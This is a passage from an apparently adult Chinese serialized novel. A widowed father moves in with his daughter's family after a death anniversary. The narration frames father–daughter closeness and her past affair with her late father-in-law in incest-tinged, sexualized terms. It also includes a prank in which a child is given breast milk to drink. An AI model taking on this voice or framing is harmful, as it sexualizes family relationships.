图片载入中

姇 1∼4

特大字】 【大字】 【中字】 【小字

作者:voxcaozz

晚秋悄悄走过,北方的大地渐渐归于寂冷。杨树叶子也在此时变得暗黄脆硬,随着风儿的摇摆,沙沙作响,随后又飘落下来,只剩下光秃秃的枝干矗立在树干上,一片萧条的样子。飘飞的树叶纷乱嘈杂,支离破碎下最终归于尘土。这时候,人们随着季节的变化似乎都进入到了冬眠状态,一切都显得懒洋洋的。

当晚春过后,柳梢上的枝叶越发茂密,一派欣欣向荣的景色,在暖风的吹拂下,池塘里的荷藕叶子荡漾在一池碧色里,潋滟起层层波光,复苏过后,人们的脚步始终在不停地忙碌着,所有事物都在有条不紊地进行着。

生活就是在不知不觉中一点一滴的走了过去,经历了春夏秋冬,交替往始。时间上它一刻也没有停止脚步的运转,就如同种子经过播撒、发芽、伸展、成熟、枯萎一样,变幻万千中,度过了一年又一年。

那一年,她三十出头,风华正茂的年纪,如同三月里绽放的桃花,明艳妩媚。 生了孩子之后,身体更加成熟丰韵,就像枝头上熟透了的桃子一样,让人心生垂涎。而他在这个时候已经五十多岁了,把孩子拉扯大了一直到成家立业,这且不说,又忙碌着替孩子照看下一代,用心良苦不说,更是把父爱诠释得淋漓尽致。

亲情在荏苒的时光里把爱挥洒出来,让家温暖如春,总是能够找到欢声笑语。白驹过隙,转眼之间就过去了八年。

八年的时间可以让一个咿呀学语的孩子长大懂事,也可以把一个年轻的少妇转变成为徐娘半老风韵犹存的熟媚妇人,更能够让这近三千个日日夜夜充满玄幻色彩,让人无法预测它到底发生了何事,有什么新的变化出现……

去年的春末,离夏的母亲就在这时候撒手人寰,离开了陪伴着她近四十年的老伴,离开了儿子和闺女,让人心头不免沈痛不已。

可对于离夏来说,妈妈的故去倒也是解脱了出来,毕竟瘫痪在床,吃的苦和受的罪没人能够代替她,这一走

也算是全了妈妈的心愿。

人近四十,已经到了不惑的岁数,对于离夏来说,孩子的成长多亏了公公的帮衬,要是没有他的体贴关怀,别看日子不愁,可家里头始终就跟缺点什么似的,让人心里没有个安全感。

这也让离夏越发懂得人情世故,珍惜身边家人的同时守护着家的温暖,这是她这个年纪最需要呵护住的,已经没有什么比这个更重要的了。

刚刚摆脱了丧母之痛回归了平静,可转年的三月份,公公的突然病倒就像一座大山一样压在了离夏脆弱的肩膀之上,让她彷徨无措,犹如失去了主心骨般,接着紧随其后的离世,仿佛利剑一般插向了离夏的心间,让她这个留守家庭里的女人一下子没有了依靠,突如其来的变故接踵而来,直到丈夫捧着公公的骨灰,离夏还未从梦境中醒来。

丈夫不断的劝慰,沈寂中离夏嚎啕大哭,心酸难受的同时心里茫然灰暗,一时之间无法接受这个事实。

生母故去离夏都未曾这样伤心过,因为她知道,妈妈的离去是彻底的解脱,因为她瘫痪在床已经两年之久,可公公呢?他那么强壮的身体,这才刚刚六十出头,怎么说走就走呢!

别看公公跟她没有血缘关系,可对于跟公公相守这么多年的她来说,多一个人照顾就多一分温暖,多一分扶持就多一分体贴,更何况公公和她之间还有一层说不清道不明的暧昧关系,保持了那么多年的夫妻关系,孩子都帮着她拉扯大了,心里要是没有感情,那可真就说不过去了。

匆匆然又过去了两个多月,当春暖花开之时,离夏总算是适应了家中缺失一人的环境。

都说不经历事情,总不能成长起来,两趟儿大事儿之后,离夏算是彻底明了个中滋味了,也越发慨叹老人的重要性,尤其是对家庭的帮助,对她这个缺少丈夫陪伴的女人。

兄弟小勇跟弟媳妇头几年从父亲家中搬了出去,即使他再如何孝顺母亲,可毕竟是个男人,心思没有女人细腻不说,去年他媳妇生育之后,他两头跑来跑去的更是麻烦,折腾来折腾去的,父亲也就劝说他不要总东奔西跑了,没事儿就在家照看妻子,总不能两头都要顾却都顾不上。

幸好陈叔陈婶搬过来照看弟妹,可即便是这样,离夏和兄弟离勇也没能见到母亲最后的一面,这不免成了离夏心中永久的遗憾。

眼瞅着母亲忌日就要来到,她提前给兄弟打电话商量一番,趁着丈夫过两天回来,再把这个事儿跟他讲讲,然后就打算把独自一人居住在老家的父亲接到自己家来,省得他孤零零的没有照应,叫人心里不踏实。

又过了两天,丈夫回家之后,离夏把心中的想法跟丈夫合盘说出,丈夫丝毫没有犹豫就答应了这件事,离夏心里痛快自不必说,晚上把儿子哄着了之后,她自然是梳洗打扮一番,跟丈夫尽兴地玩了两次盘肠大战,一是取悦丈夫,二是满足自己空虚的身子。

完事儿之后夫妻二人搂紧了身子,悄然进入了梦乡。

转天早上,魏宗建开车先去了趟超市,买了五干五鲜的祭品,然后又去了县城的边缘寻了一家寿衣店买了烧纸,这才陪着妻子带着孩子一起驱车开向了城西的父亲家中。

到了离响家中才九点多一点,魏宗建看着老丈人精神头还不错的样子,笑着跟他打过招唿,一家人闲聊着就等小勇的到来了。

看了看点,离夏嘴上嘀咕道:“那天我还跟小勇合计来着,让小妹看孩子不用过来,说好的九点半到,都过了点了也不过来,我这兄弟啊。”

她嘴中所说的小妹就是陈占英的独女陈秀环,因为要奶孩子,挺不方便的,所以离夏也就建议兄弟自己一人过来,可到了点了,兄弟迟迟不来,让人心里挺不踏实的。

魏宗建一旁安慰着说道:“别看小勇嘻嘻哈哈惯了,可他还是挺有时间观念的,说不定是给舅妈搭把手,这也不好说呢。”

其实离夏也是怕父亲心急,今日不同往日,要是以往也就罢了,可今天这个日子可是母亲的忌日,还有一点就是要在今天把父亲接到自己家中,不都要当着兄弟的面摆出来吗。

离响一旁摆了摆手说道:“我没事,夏夏也是想让我开心,打算今天趁着大家都有时间,凑在一起吃个团圆饭。”

老离丧偶之后,看得很开,都快六十岁的人了,还有什么是他看不开的呢。正所谓心宽体健,要是总活在阴影里,恐怕他也不会精神抖擞的。

几个人正说着话,房门外面响起了轻微的“咔咔”声,听声音是有人在开锁,想来那自然是小勇回来了。

就见一个四方大脸的健壮汉子抱着孩子走了进来,他依旧保持着多年的寸头,只不过脸上的胡须多了一些,也越发是个社会人的形象。

他的身后跟着一个年轻少妇,上身穿着黑色紧身衫,外面围着一件白色罩纱,把上身丰满的轮廓显现出来,透过男人怀里抱着的小小婴孩就能判断出来,女人是个乳妇,还在奶着孩子。她的下身穿了一条蓝色短裙,同样黑色的紧身打底裤配着一双黑色高跟鞋,很是得体地穿在腿上,符合她的年龄,显得尤为青春靓丽。 见小勇抱着孩子,老离一个健步窜了过去,看着孙子被裹得严严实实,只露出两只乌熘熘的大眼睛,他关切地说道:“怎么带着孩子过来的啊,你姐不是说就你一个人过来嘛,又不是什么大事儿,还折腾秀环陪着你。”

陈秀环冲着老离和离夏夫妻打着招唿说道:“没事儿,本来打算把孩子放家里头,可我又怕他离不开我,这不就带过来了。没事儿的,再过些日子就给他摘奶了,到那时候就更踏实了。”

离夏从小勇手中把孩子接了过来,看他一副乖巧的样子,一点也不认生,哪里有小妹说的那番模样。看着眼前的侄子,离夏是打心眼里喜欢这个孩子,她笑呵呵地亲了一口说道:“臭儿子长了几颗牙啦,姑姑亲亲。”

一旁的诚诚招唿了“舅舅舅妈”之后,也追着母亲身后,看了看自己这个小弟弟。

小勇一旁嘻哈道:“嗨∼本来我是先出去买东西的,回头又接她们娘俩,孩子那前又不老实,这不就耽误了。嘿,姐夫啊,有一段时间没看到你了,上回我亲……哦∼呵呵,诚诚又高了,再过二年估计都能追上你妈了,行了啊我说,咱们也别待着了,给我妈上完坟,咱们再叙。”

他这话刚说到一半,忽然想到了亲伯已经故去,急忙转移话题,打着哈哈就捎带过去了,这么多年过去,依旧还是那副吊儿郎当的模样,一点也没有因为岁数增长而有所改变。

老离也被儿子这幅模样给逗笑了,他界面说道:“既然秀环来了,就守着家里吧,孩子太小,也不适合去坟地啊,心意到了就够了。”

离夏一旁解释道:“是呀,孩子岁数太小,小妹你就守在家里吧。”

照看好孩子,几个人走出了房间,下楼的时候,小勇念叨着:“姐夫啊,我今儿个可得跟你好好喝喝,总也逮不着机会,我看今儿就挺好,我说诚诚啊,你坐舅舅的车,别跟他们坐了。”

简短的几步走,小勇简直是个话唠,滔滔不绝之下,就成了他一个人的表演,气氛倒也挺活跃,根本没有一丝一毫的晦闷。

到了目的地,离夏把车子里的鲜灵果品拿了出来,跟丈夫分别提着,一直走进了墓园。

此时的阳关明媚,天气宜人清爽。一进墓地,则又变成了一副阴冷冷的模样,尤其是墓碑前后之间种着的松柏,地面都显得干黄干黄的,说不出的冷寂空幽。 来到了母亲的坟前,离夏心里始终在默念着,告慰母亲在天之灵的同时,她希望母亲能够保佑父亲,让父亲能在有生之年安享幸福,这也是为人子女的一片孝心,随着鞠躬默念,把心意表达出来,随着走出墓地进行烧纸,冉冉黑烟之下,算是结束了一行人的忌日之行。

买了一些熟食和菜蔬,一起回到家中。进门之后,离夏亲自去了厨房,她打算炒几个小菜,吃个团圆饭的同时,把心中的想法告诉父亲。

油锅热好之后,把洗好的菜蔬倒了进去,离夏系着围裙正要翻炒,只感觉胃口一阵翻腾,她干呕一声小跑着就冲出了厨房,交代丈夫接手一下。

魏宗建看到妻子这幅模样,笑着说道:“颠簸了小半天,胃不舒服了吧!”他走进厨房,看着油锅里的菜肴,拿起了铲子就动作了起来。

这边的小勇陪着父亲在客厅里待着,他是无所谓,可老离怎会因为个人原因而影响到孙子,见儿子真要在家吃饭,也不怕儿子心里不快,离响冲着儿子开口说道:“小勇啊,浩然还小,你中午喝酒的话,回去怎么开车啊,多不安全,听爸的话,以后喝酒的日子多着呢,别让秀环替你担心。”

小勇摆手说道:“不就是喝点酒吗!以前喝酒又不是没开过车,没事儿。” 离夏干呕了一阵,并未吐出什么,她捋了捋自己的胸口,走出卫生间门口的时候听到父亲和小勇的对话,虽然心里挺惦记着兄弟,可考虑实情之后又不得不劝慰兄弟一下:“爸说的没错,既然这样的话,就不留你吃饭了。”

小勇皱着鼻子很是不屑,刚要说些什么,就被姐姐阻拦住了,见姐姐示意自己,小勇撇了撇嘴,只得走进他的那间卧室。

离夏坐在父亲身边,拉着他的手说道:“爸,吃完午饭您就跟我们去那边住吧,省得您一个人腻得慌。”

听到女儿的安排,老离笑了笑说道:“你妈也过世一年了,你们别总替我担心,没看到我现在活得挺好的吗,无拘无束挺自在,都这个岁数了,还去折腾你们干嘛啊。”

离夏嗔怪着父亲说道:“瞅您说的,我们都合计过了,您就自当给我们当个保姆好了。”说着话,离夏就像个孩子似的摇起了父亲的胳膊。

老离看着闺女跟自己撒娇,都四十岁的人了还一副小儿女姿态,他笑得有些合不拢嘴,要是不答应闺女的话,闺女肯定还会不依不饶,离响亲昵地抚摸着闺女的小手说道:“好了好了,爸答应你。”

短短的一句话,浓缩了父女间的感情,就如同几十年前一个味道。那个时候,离夏还是个小女孩,离响也只是个年轻父亲,姑娘抱在他的怀里,又是头长大闺女,他视如珍宝般捧在手心中,生怕闺女受了半点委屈,这一话过去了三十多年,恍如一梦的感觉让人唏嘘不止。

看着父亲脸上带着笑意,离夏的心里也跟着暗自高兴着,为人子女本就看不得父母伤心意冷,更何况到了离夏这个岁数,读懂父母不容易,没有岁月的累积,哪里会有这般感受。

离夏媚了一眼父亲,娇笑道:“嗯∼早前我就跟您说过,那时候您可不这样,现在想开了吧,咱就应该这样。以后啊,没什么事儿,多出去散散心,玩玩乐乐安享晚年,比什么不好啊。”

不都说女儿是父母贴心小棉袄吗,比秃驴儿子细心多了,还是闺女懂得自己,老离如是想着,可他没敢跟闺女细说这阵子自己身上发生的事情,毕竟今天是老伴的忌日,说出来的话也有些不合时宜,留待以后有机会再跟闺女细谈。

老离慈祥地看着闺女依旧姣好的面容,脸蛋如滑细致,随着年岁的增长,她身上的青涩尽退,成熟丰韵更加浓郁了,那样貌真有些老伴年轻时的样子。 见父亲盯着自己入神,离夏抽回了自己的嫩手抚摸着脸蛋,没感觉有什么异样,她嘟着小嘴说道:“爸啊∼人家脸上是长花了吗?”

杏花含春翘枝首,润雨入夜爽心头,最是亲情雨水浓,父女交心上重楼。 老离眼神一顿,见闺女娇羞无比小女儿的样子,他呵呵一笑道:“我姑娘就是一朵花,开得正艳呢!”

父女俩正说话间,就听卧室门口的小勇喊道:“诚诚啊,老舅给你来点喝的。” 离夏和离响两父女不约而同地看着小勇,拿着一杯乳白色液体从卧室里走了出来。

诚诚正在摆弄手机,听到舅舅喊他,放下手机跑了过去,疑惑地看着舅舅手里拿着的物事,问道:“什么啊?奶吗?”

小勇笑而不语,把被子递给了诚诚。

魏诚诚小口抿了一下,皱了皱眉,小声嘀咕道:“味道怪怪的,有点甜还有点腥。”说完就兴趣缺缺地把杯子递向了老舅,意思很明确,不打算再喝下去了。 小勇扬着下巴笑道:“这可是好东西啊,舅舅给你拿来还能再收回去,快点啊,赶紧把它喝了。老舅进屋收拾收拾,有时间再陪你玩。”说完扭头走进卧室。 端着杯子,诚诚心里不知如何是好,他平时喝惯了牛奶的味道,突然之间换了口味,他又不好意思回绝老舅的好意,只得悻悻地端着杯子走到姥爷身边,心里想着让姥爷替他解决。

刚才看到兄弟拿着杯子走出房间,离夏凭着直觉就发现了异常,再听到兄弟的一番解释,马上想到了杯子里的物事到底是什么了,她会心地笑了笑并未揭穿,直到看到儿子端着杯子过来,眼里一副求饶的样子。

离响和闺女聊得火热,虽说也看到了小勇从卧室里拿出来的东西,但他并未在意,直到小勇把被子塞进了外孙子的手里,离响的心里也只是想到了儿子疼他的外甥,根本未把心思留意到被子上。

见外孙端着一杯牛奶过来,老离对闺女说道:“你兄弟啊始终不着调,都当爸爸的人了,弄不弄还老神秘兮兮的,什么时候像个大人啊。”

离夏含笑不语,擡眼看着儿子把杯子塞进了父亲的手中,只听他说:“姥爷,您把它喝了吧!”随后又跑到一旁鼓捣起手机来。

父亲擡眼看了看,又低头瞅了瞅杯子,不明所以的样子,离夏浅笑道:“这孩子∼”这个时候,她当大姐的能说说什么呢,只能是装作不知,含煳其辞地煳弄过去。

离响端起了杯子,张嘴喝了半口进去,液体入口粘稠,透着一股淡香,滑腻腻的感觉让老离一下子就明白了过来。

紧闭着嘴巴,老离是咽也不是吐也不是,他尴尬地朝着闺女使着眼色,仿佛期待着闺女能够给他解围,当他看到闺女似笑非笑的样子时,实在憋不住的他终于一口吞咽下去,差点没给奶汁噎着。

房间里,小勇给孩子裹得严严实实的,他抱着孩子从屋子里走了出来,开口说道:“爸,那我们就回去了。”

听到儿子的声音,老离看了过去,同时赶紧把盛放奶水的杯子塞到了闺女手中,脸上犹带着些许尴尬说道:“啊∼哦,给孩子围严实了吗?”

离夏起身把杯子放到了茶几上,见弟妹穿戴整齐跟着走出房间的时候,她开口说道:“小勇啊,刚才一打岔差点忘了,前些天我跟你提起过,今儿个秀环也在,正好说说,我打算把爸爸接我们那里住些日子。”

这时候在厨房炒菜的魏宗建听到声音也走了出来,随即附和道:“是呀,让爸去我们那里住些日子,换换环境。”

小勇夫妇从这里搬走已经好几年的时间了,按理说,家里的姐姐出门子之后,只剩下他这个儿子了,本应该跟父母同住的,可父母怕他跟媳妇不习惯,尤其以后生了孩子的话,会遇到很多尴尬事情。催促了小勇好多次,所以他们只一起住了几年,就在姐姐的帮助下在外面买了一所新房子,从老家搬了出去。

等到了老伴瘫痪在床之后,离响就越发觉得自己和老伴当初的决定是正确的,虽说儿子和儿媳妇不嫌弃,可久病床前无孝子,他不为别的,只为一家人和和美美,分开了住又有什么关系,索性也就和老伴一直相依为命,直到老伴故去。 在老伴故去的几个月里,老离确实感觉家里空荡荡的,很是有那么一些不习惯,尤其是晚间生活,别看只是少了一个人,可细想起来,家里可就他跟老伴两口子啊,少了老伴之后,老离就彻底成了孤家寡人。

所幸的是,早些年在老伴身体没出现异常的时候,老离在跳广场舞的时候结实了一个舞伴,在得知老离丧偶的情况后,一来二去又跟老离联系上了,这无疑使得老离阴暗的生活能够得以缓解,渐渐有了复苏解冻的征兆。

这个事情,老离没有在今天跟儿女提起,真要去说的话,也是背地里先跟女儿去讲,听听她的意见。怎么着也是给儿女找了个继母,自己这一关过得去,儿女呢?

刚才闺女跟他说了,晚年应该享受生活,离响当时压下了心头里的念头,此时听到闺女跟儿子商量着接自己去她们家小住,他的心里也想趁着这个机会跟闺女细说说,只要闺女同意了,再去做儿子的思想工作,想来他跟舞伴张女士的事情也就没什么太大问题了。

小勇并不反对姐姐的提议,他现在的实际情况摆在那里,确实是心有余而力不足,再说了,岳父岳母在他家住着,也不好赶二老离开啊。

一改嘻哈模样,小勇正经地说道:“让爸爸换换环境也好,之前我就让他跟妈搬我们那里,可他们死活不乐意过去,现在妈妈走了,我也……”小勇的声音很是低沈,说着说着,他就把脸背过去了。

看到兄弟内疚的样子,离夏的眼眶里也忍不住升起了一层氤氲,她擦着眼角说道:“妈妈走了是好事儿,省得受罪了,也给爸爸疼了轻。”

魏宗建在一旁见到姐俩又勾起了往日的回忆,伤心起来,他急忙劝说道:“老舅舅妈你们在那边多费心,陈叔和陈婶的担子就交给你们两口子照应了,回头我抓时间去看看他们老两口,这边爸就先上我们那边换换环境,都担待着点。” 老离见闺女和儿子这幅样子,听他们说完,沉默了一下就开口道:“怎么说着说着就都这幅模样了,你妈走了是好事儿啊,难道说你们还想看着你妈躺在床上大小便失禁,乐意她遭罪啊?”

老离说的话不是没有道理,这是站在他自己的立场考虑的,可当子女的,再怎么说也有感情牵系着,想起妈妈了不免心酸悲泣,真是应了那句话“不当家不知柴米贵,不养儿不知父母恩”,这也是人之常情啊。

离夏首先打破沈寂,她破涕为笑道:“都是小勇闹的。”说完之后走到兄弟近前,用手轻轻摸了摸小侄子的脸蛋,宠溺地说道:“儿子听话啊,回头过两天姑姑去看你。”

招唿声中,离夏夫妇送走了兄弟一家三口,然后各归其位,做饭的做饭,聊天的聊天,玩手机的玩手机,一家子其乐融融,在这样一个特殊的日子里,享受着家人在一起的天伦之乐,透过窗子,混合着菜香的味道,把笑声传了出去。 2

简简单单地炒了几个菜,配上之前买的熟食,离响端坐在饭桌前陪着姑爷喝起了酒。这样的日子对于老离来说,很是难得。他心里清楚,姑爷一年到头总在奔波在外,生活虽富裕,可日子过得却非常忙碌。

喝酒的过程里,老离开口道:“建建啊,刚才当着小勇的面答应你们的事情,爸总觉得不妥……”

听到丈人的话,魏宗建放下酒杯直接打断了老爷子的话,他摇了摇头说道:“您一个人住也是住,去我们那里也是住,有什么不妥的地方?您不要总是顾忌来顾忌去的,现在的情况,我们两口子可就您这么一个亲人了,您就别……” 离响摆了摆手,插嘴道:“你听我把话说完啊,我就是觉得上了年纪了,总感觉跟你们不在一个层次……”

爷俩相互打断着,你说一句我接嘴,我说一句你接茬,各说各的道理。老离本心是有些想法,他去闺女家的意思也是想跟离夏谈谈后老伴的问题,但又怕自己影响到姑爷家的生活,所以犹犹豫豫的。

而魏宗建自己的想法则是,他这边父亲也没了,把孩子姥爷接到自己家中,一来能够服侍周到,做熟了的饭菜送到他的嘴边都是热乎的;二来能够给妻子做个伴,自己不长在家,妻子和老丈人没事儿聊聊也能解闷;三来又能照顾一下自己的孩子,活动手脚。说起来这些可都不是坏事。

魏宗建客气地给老丈人夹着菜,笑着说道:“我跟夏夏结婚都快十五年了,您还有什么不放心的呢?”

离响沉默了一阵儿,抄起了烟盒,从中拿出了一根点燃,随后平静地说道:“我知道你们的心意。”姑爷都说道这份上了,他还能说些什么呢。

整个过程闺女都没有言语,只是用那双杏核大眼巴巴地望着自己,老离看了看自己的女儿,这种情况就和多年前姑爷求婚时的样子一样,闺女始终用那双大眼睛盯着自己,在等待着自己的回应,这让老离的心里竟然产生出一股酸熘熘的感觉出来。

虽说此一时彼一时,可看了闺女那个样子,老离的心里还是不免回想了起来。 聘闺女本是一件高兴事,这是一种交接,由甲方父母家把闺女交到乙方夫婿家。看到闺女能有个好的归宿,这是天下间所有父母心中最想看到的事情。可说归说,实际情况却又是另外一件事。想当年自己聘闺女的时候,那段日子对于老离来说,可谓是苦乐参半。

他一把屎一把尿含辛茹苦地把姑娘拉扯大了,长成了亭亭玉立的人儿,人见人爱不说,她又是那么懂事听话,对自己百依百顺。更令老离欣喜的是,姑娘几乎就是妻子年轻时的缩影,那个时候,他的心里竟然生出了一丝奇想,如果可能的话,真希望姑娘一辈子陪在自己身边,永远也不要离开自己。

可想而知,闺女在他心里的地位。可是,毕竟闺女的幸福最重要,当爹的哪能舍得让闺女一辈子陪着自己啊,那样简直就太自私了。

要说离夏在老离心里的地位,那可是捧在手里怕掉了,含在嘴里怕化了,盛宝贝一样的存在。

直到闺女即将出门子,老离的心里始终纠结不断,感觉没着没落的,他说不出到底是个啥滋味。在这种矛盾心理的折磨下,那段日子里,离响竟鬼使神差般地……

“爸啊∼烟都燃尽了。”耳边传来了闺女甜美的声音,清脆动人,透着一股熟识的甜腻,她抢着把自己手中的烟屁夺了下来,这个时候,老离眨巴着眼睛,这才从思考中转醒了过来。

闺女现在已经是三十九岁的熟妇了,并且还是个八岁孩子的母亲,可她依旧爱跟自己撒娇,随着年龄的增长,闺女身上的女人味更浓了,老离的心里不禁荡漾起来,和闺女在一起感觉真的很甜蜜。

“姥爷,您就去我们家吧,也能接送我上下学,省得您一个人孤零零的。” 外孙子诚诚的话语让老离再也说不出拒绝的话来,他笑着抚摸起外孙子的脑袋,慈爱地说道:“好好好,姥爷答应你们,跟你们享福去。”

看到老丈人想明白了,魏宗建端起了酒杯说道:“您慢点口,吃过中饭之后咱们就回去,我时常不在家,有夏夏陪在您的身边,您就尽情享福吧。”说完之后,魏宗建痛快地把杯子里的酒干了,随后又给自己续上了一杯。

魏宗建心急也是怕老丈人反悔,他所说的话可是一点水分没有,人到了中年到了他这个岁数,除了养家煳口之外,更多在乎的就是这种亲情温暖。以前父亲活着的时候,心里有个什么事儿还能让老人参考参考,眼么前就剩下了这么唯一的一个老爹了,身为半个儿子,魏宗建可不想再看到自己妻子因为父亲过去再伤心欲绝了。

吃过了饭总不能马上就走吧,也要休息一下打理一番。魏宗建收拾完碗筷之后,带着一丝醉意拉着儿子休息去了,给妻子和老丈人把空间留了出来,让他们说说话,再做做思想工作,彻底去除老丈人心里的后顾之忧,他相信妻子能说服岳父大人的。

午后的阳光充足,透过阳台把光线送到了客厅里,暖洋洋的让人心里生出了一丝慵懒的感觉。

离夏坐在沙发上抚弄了一阵自己的黑色紧身脚踩裤,随后脱掉了高跟鞋,只把一双穿着肉色短丝袜的小脚搭在沙发上,她整个人身子一歪就依靠在父亲的身边躺了下来。

明亮的光线照射下,把沙发的大半截都给照了过来。离夏躺在父亲的大腿上,小脸儿显得格外红润,白里透红的样子就像熟透了的桃子,粉艳艳的漾着一层光腻,她张开擅口说道:“您呀,还不明白您姑爷的意思吗?我们也乐意看到您开开心心的。再说了,您现在也没有压力,栽花种草正是颐养天年的时候。” 老离倚在沙发靠背上,慈爱地看着闺女,直到她脱掉了鞋子依偎在自己身边,她都快四十岁的人了,还这么喜欢黏着自己,说句心里话,老离心里也很喜欢闺女跟自己腻乎,这是习惯,有二十多年的基础呢!

轻轻抚弄着自己姑娘的一头青丝秀发,那浓密乌黑的发质非常柔顺,就像段子面一样摊在老离的手里。看着闺女上身穿着的短袖衬衫,下身踩着一双黑色紧绷的脚踩裤,身段凹凸起伏,老离看得也是赏心悦目。

女儿慵懒地问着,老离自顾自地欣赏的同时,嘴里问道:“还难受吗?” 这话问得有些不明不白,此时的离夏正眯着眼睛享受着太阳光线的照射,她想了想,说道:“兴许是来的时候挺仓促的,给我妈上坟时又来回不断颠簸,没休息好吧,我现在没事儿了。”

躺在父亲的大腿上,靠着父亲的身体贴在一处仿佛又回到了当年在家当姑娘时的样子,别提多舒服暖心了,让离夏找回了年轻时的感觉。

耳边传来了父亲关切而又体贴的话语,离夏感觉浑身上下都和外面的天气一样,暖洋洋的。

这份依靠的感觉真的很好,别看父亲已经快六十岁的人了,可躺在他的身边,离夏依旧找到了安全感和归属感,丝丝爱意如春风润雨,悄然无息间就钻进了她的心头,乃至扩散开来,别的什么都不想,心里就想着跟父亲耍耍贱撒撒娇了。 天下间的女儿跟父亲大多如是吧,在离夏的心里头,别看父亲是个男人,可他的温柔体贴比母亲这个做女人的还要细腻,仿佛带着魔力一般,让离夏打心里头乐意贴靠过去,情愿做他一辈子的女儿,永远也长不大。

抚摸着闺女光洁的额头,看着她放松下来之后的陶醉盎然映在那张粉嫩细滑的脸蛋上,老离的心里感觉很幸福很安稳,他的心里何尝不是像闺女想的那样,搂着闺女一辈子,一刻也不想和她分开。

可嫁出去的闺女,泼出去的水,闺女结婚了,有了新的家庭,当父亲的总不能霸着闺女不放,叫人看了多不像话啊,所以,当离响看到闺女和亲家公关系密切时,大多时候都是乐意闺女那样去做的,就是希望她能在新的家庭里得到温暖,也像伺候自己一样,去伺候亲家公,把亲家公当成父亲一样看待。

心里想到了亲家公,离响的心里不免又唏嘘起来,亲家公才六十多,多轴实的一个人,怎么说走就走了呢!想着想着,离响就慨叹地说了出来:“你家老爷子那么硬朗的身体,说走就走……爸知道你们的想法,知道你们孝顺。”

和公爹之间的丝丝缕缕,都是建立在感情的基础上升华出来的。包括欲情和爱欲,可如果没有亲情的话,想来也不会出现前面所说的欲爱之情。以前在一起的时候,感觉很多事情做起来都很得心应手,公爹这一撒手人寰,最首要的问题是孩子少了照应,弄得离夏措手不及,好不适应。其次,身边没了陪伴的人,心里哪清一下子就能接受啊,尤其是像她离夏这个岁数的女人。

离夏轻声说道:“走了……他倒是痛快了。”有感而发之后,离夏怕父亲觉察到自己话中的意思,她急忙转移话题,说道:“爸,您考虑过以后的生活没有?” 闺女的这么一问,正好切中老离的要害。说真的,他还真没想好怎么跟闺女解释这个事情,此时经由女儿率先讲了出来,她的话里的意思很明显是在问自己是否会在以后找个生活伴侣,这简直就是瞌睡了有人及时把枕头给你送来,解了老离心中的烦恼,顿时让他来了兴致。

老离一五一十地把情况跟闺女说了,包括女方的姓名住址和相貌身高,就像下级跟上级汇报情况一样,一股脑毫无保留地合盘说出,说完之后,心里立时敞亮多了。

听着父亲滔滔不绝地讲着,叙述着他这半年来的私人生活,仿佛在听故事,又好像在听纪实报告。

说真的,离夏的心里倒也并未生出任何反对的念头,这也不是说她一点意见没有,这年头出现这种事情简直太普遍了,前人刚走后人就搬了进来,追求的是什么?不就是享受和幸福吗!谁说幸福只允许出现在年轻人身上,老人同样需要关爱,同样需要呵护,也同样需要浪漫。只要对方对自己父亲真心付出,离夏本心也会把她像母亲一样对待的。谁不希望家中的老人多活几年,一家子父慈子孝其乐融融地住在一起,这可是打着灯笼都找不到的好事情。

离夏刚要张嘴说话,就听脚下那边的卧室里传来了动作声,她一个起身,从父亲双腿上坐了起来,随口问道:“诚诚睡醒了是吗?”

紧接着丈夫打着哈欠从房间里走了出来,低沈的声音传了过来:“嗯∼跟我一块醒来的。你没休息啊。”

离夏笑着说道:“你看看我啊,尽顾着跟爸爸说话了,也没看时间,这都两点多了,也该收拾收拾回去了”。”

说完起身穿好了自己的漆皮高跟鞋,离夏冲着父亲说道:“您还带点什么过去吗?”

老离起身咳嗽了一声,开口讲道:“拿点换洗的衣服吧,别的我看也不用拿了,哦∼对了,把我的洗漱用具也带上吧,应该就没有什么别的了。”

离夏走进了父亲的房间,从衣柜里拿出了一些干净衣服,像羊毛衫啊,保暖裤啊什么的,这些都是应季穿的,其余一些比较老一点的衣服干脆就放到里面,也只是空占着地方,送给别人人家都嫌过时呢。

离夏一边收拾衣服,一边吩咐丈夫:“宗建,你去看看冰箱里有什么不吃不用的就扔掉吧,上咱们家住着的时间不会短的,都放在冰箱里肯定会坏的。” 魏宗建从厕所里走出来后正要干点什么,听到妻子吩咐转身就要奔向厨房,老丈人一把拦住了他,他不解地看了看,就听老丈人暖声和气地说道:“不着急弄,东西坏肯定是坏不了,我会不定期回来看看的。”

就在魏宗建疑惑的时候,离夏从卧室里探出身子说道:“那样也行,能保存时间长的先放着吧,可有一样啊,剩饭剩菜就不要了,别回头回来之后,连冰箱外面都长毛了。”

自己闺女的这一句玩笑话说的外孙子都偷笑起来,也算是打了圆场,至于以后姑爷问起来,想必闺女会跟他解释清楚的,这就不是自己操心的事情了。 把窗户关闭起来,检查无误之后,又巡视了一番水龙头的开关,见一切都没有问题之后,老离转转悠悠地思考着自己还有什么遗漏。

提着行李箱,离夏看着父亲就跟小孩一样低头思考着,她笑着说道:“我们又不是把您软禁起来,您还不是想回来就回来啊,就别瞎捉摸了。”

老离捂着嘴角想了想,他朝着闺女露出了一个老男人迷人的笑容,然后神秘兮兮地走向衣柜把脚处,从柜格子里抽出了一张银行卡,也不避讳自家姑娘,随手揣进了钱包里。

看到父亲拿出了银行卡,离夏媚着杏核大眼嗔笑道:“我说您怎么那么不踏实呢,拿银行卡是打算给您外孙子买东西吗?”

老离慈爱地看着姑娘,见她一副撒娇的样子,他老怀畅慰地笑道:“哈哈∼诚诚喜欢什么我就给他买什么,钱放到我的工资卡里也没什么大用处,咱们该花就花,是不是啊闺女。”

离夏嘟哝着小嘴气唿唿地说道:“只要您别被骗了就行。”

这一语双关之言,即表示了认可老爹所讲,又把担心说了出来,怕老爹因为感情投入不成,反而被别人欺骗,落得个人财两空的地步。

老离走到了闺女身旁,笑嘻嘻地刮了一下她的鼻子,说道:“开心就好,开心就好啊。”

同样是一语双关,爷俩说得都很隐秘,真是应了那句话,不是有其父必有其女,不是一家人不进一家门。

收拾妥当之后,魏宗建提着行李箱带着儿子率先走出门去,离夏再次检查起来,忽地发现了上午自己放到茶几上的半杯奶汁,她指了指,然后冲着父亲说道:“爸,桌子上的那杯奶汁儿您要是不嫌凉的话,就把它喝了。”

穿戴整齐之后,老离就听到身后女儿的问话,他回身瞅了瞅,表情颇为尴尬,嘴里支支吾吾地说道:“我喝了第一口就感觉不对,那是不是……这要是叫秀环知道,你说说这都叫什么事儿啦∼”

